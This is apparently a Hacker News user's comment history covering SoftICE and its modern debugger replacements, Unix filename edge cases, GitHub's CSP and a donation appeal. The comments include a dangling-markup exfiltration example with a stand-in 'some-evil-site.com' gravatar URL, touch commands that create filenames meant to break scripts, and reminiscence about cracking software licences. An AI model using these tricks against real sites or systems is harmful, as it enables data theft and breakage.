Hacker Newsnew | past | comments | ask | show | jobs | submit | pixdamix's commentslogin

This website is likely targeted at the French administrations like the ANSSI (National Cybersecurity Agency of France) which is often mocked because of a somewhat strict `French Only Policy` in internal documents.

Here they are using `Biscuit de pile` for `Stack Cookies`: https://www.cert.ssi.gouv.fr/actualite/CERTFR-2015-ACT-047/

It may be the other way around, eg: someone inside ANSSI choosed to use `Biscuit de pile` to make people react:

- https://twitter.com/newsoft/status/671213007301648384

- https://twitter.com/x0rz/status/738272442771202048


I can attest, this man surely knows his Galette-Saucisse stuff !

I'm sorry for your loss, take care!


I suggest you to take a look at this: http://10degres.net/subdomain-enumeration/ :-)



Yeah, SoftICE, I remember buying Hackerzvoice (a French newspaper-like hacking magazine) which included SoftICE tutorials on how to crack WinRAR license verification. (for educational purposes of course)

I was amazed that I could breakpoint and debug any running app. I miss SoftICE.

I read this a while back from someone who work for the company which owns SoftICE copyright : https://reverseengineering.stackexchange.com/questions/1445/...


Wasn't SoftICE a bit of an overkill for cracking WinRAR? If memory serves right, it was a tool mainly for debugging kernel-level code (drivers) -- that's why it had to start before windows. WinDBG and similar userspace tools should have been just as good (or even better, as they woudn't interfere with WinAMP :)) for dealing with userspace processes.


Totally overkill yes, but without internet, you use whatever you're able to put your hands on ;-)

Ironically, the first software I cracked, well tried to, was an IRC client named Klient if I recall correctly. I bypassed the license check, but, this software included a functionality which, when it detected this, broadcasted to everyone (except me) that I was using a pirated version and that I was accepting the CTCP reboot command :-)


Any idea what people use now instead of softice?


It depends on what you are trying to do. Softice was good for "kernel" debugging, rather than just simple user space programs for which things like turbo debugger (and more modern solutions), were as good if not better.

For windows kernel debugging, there is windbg, kd, and assorted "emulation" methods like qemu's gdb stub. Similarly for linux/kgdb/etc... OTOH, Softice had a number of OS data structure aware commands in the late 1990's which are only really available in something like windbg. In theory you could write kgdb macro's to perform most of that functionality for linux/etc but it doesn't work out of the box.

Although in the end, the logical replacement for softIce, is a JTAG debugger of some form. A fair number of the ARM platforms work with DS5/Dstream which provides source level debugging with far more functionality (for example trace level timing information) than softice as an "ICE' ever did. I guess its the same for intel's ITP-XDP3/system studio products these days.

Again, it depends on what your trying to debug. AKA do you need the "ICE' (aka JTAG these days) functionality, or are you just looking for a powerful kernel or user-space debugger.


Ollydbg on 32 bit windows

x64dbg on 64 bit windows

IDA Pro Debugger/GDB/LLDB on Linux/OSX/iOS/Android

GDB everywhere else

as StillBored said, windbg for Windows kernel debugging, but I've honestly only used it in exotic situations for .NET debugging


I've been poking at radare2 for a while now. Really great CLI debugger (works in windows as well).


IDA Pro, WinDbg, OllyDbg, Radare would be the first ones to come to mind.


The only forbidden characters in a Unix filenames are '/' and '\0'

Want to mess with such a script?

$ touch "$(echo -e -n 'lol\nposix')"


One of the cruelest things you can do is a filename that consists only of a combining diacritic (without a glyph that it could combine with). Will break outputs of various programs (starting with ls) in sometimes hilarious ways.

If you're trying it out now and cannot figure out how to delete it: "ls -li" to find the file's inode number, then `find -inum $INODE_NUMBER -delete`.


Wow, that's really horrible. I have a file sitting around with a couple of newlines in the name just so I can see how many programs don't cope with it, but I hadn't thought of using a lone combining diacritic.

If anyone wants a command to make one, try

    touch $'\U035F'
(using U+035F COMBINING DOUBLE MACRON BELOW for no particular reason, see [1] for more)

[1]: https://en.wikipedia.org/wiki/Combining_Diacritical_Marks


Indeed. This is one of the reasons why I wrote a shell that handles file names as JSON strings.

However for normal day to day usage, file names with \n are rare while files with spaces in their name are common. So returning an array of space delimited file names is a potentially dangerous practice for common scenarios where as find's default behaviour is only dangerous for weird and uncommon edge cases. (And if you think those are a likely issue then you probably shouldn't be doing your file handling inside a POSIX shell in the first place).


CSP mitigates the risks of XSS attacks.

If you look at : https://cspvalidator.org/#url=https://github.com you'll see that the CSP policy directive defines the origins from which images can be loaded

    'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com ;
Previously, images could have been loaded from additional domains (gravatar) and could have been used to leak CSRF tokens.


What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party:

  https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
But GitHub is the one opening and closing the tag, probably in some kind of template:

  <img src="{gravatar_url}">
  <p>secret</p>
Which should result in this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f">
  <p>secret</p>
and not this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
  <p>secret</p>
Any idea why they are getting the latter?


Yes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.


They weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do.

> In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com


> Who uses Chrome anyway?

Anyone who's (or should be) a little bit concerned about security ?

Firefox has been absent from 2016's Pwn2Own contest because of insuffisant "security improvements in the last year".

This may change with the Electrolysis project[1]

[1]: https://wiki.mozilla.org/Electrolysis



  What is this about?
  Janela Sagynbaeva is 24, she's a girl from a village in 
  east Kyrgyzstan. She has to pay a family debt wich is way 
  beyond her financial means. Today, nearly all her time and 
  resources are focused on that effort.
  The debt that has accumulated is the result of an 
  unfortunate event.

  Janela's Father has been selling fruits in Kazakhstan.
  The fruits he was selling were not only his but also 
  those of his neighbours. He was supposed to collect and 
  bring back the money to be shared among the villagers. 
  When going back with the money, he was robbed at gunpoint.
  Unfortunately, the neighbours requested their money no 
  matter what, hence a $5000 debt. The event had occurend in 
  1997; since then, through various interest rates and 
  further credits, the debt has risen to $15,000. The 
  current interest rate is 13% which makes it hard for the 
  family to pay the percentage, let alone the initial sum.
Here are the links with more information:

http://www.indiegogo.com/projects/janela-s-life-back https://www.facebook.com/janelastory http://takemeeast.net/blog/janelas-tragedy/ http://www.facebook.com/takemeeast/

Please share and donate if you can! Thank you!


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: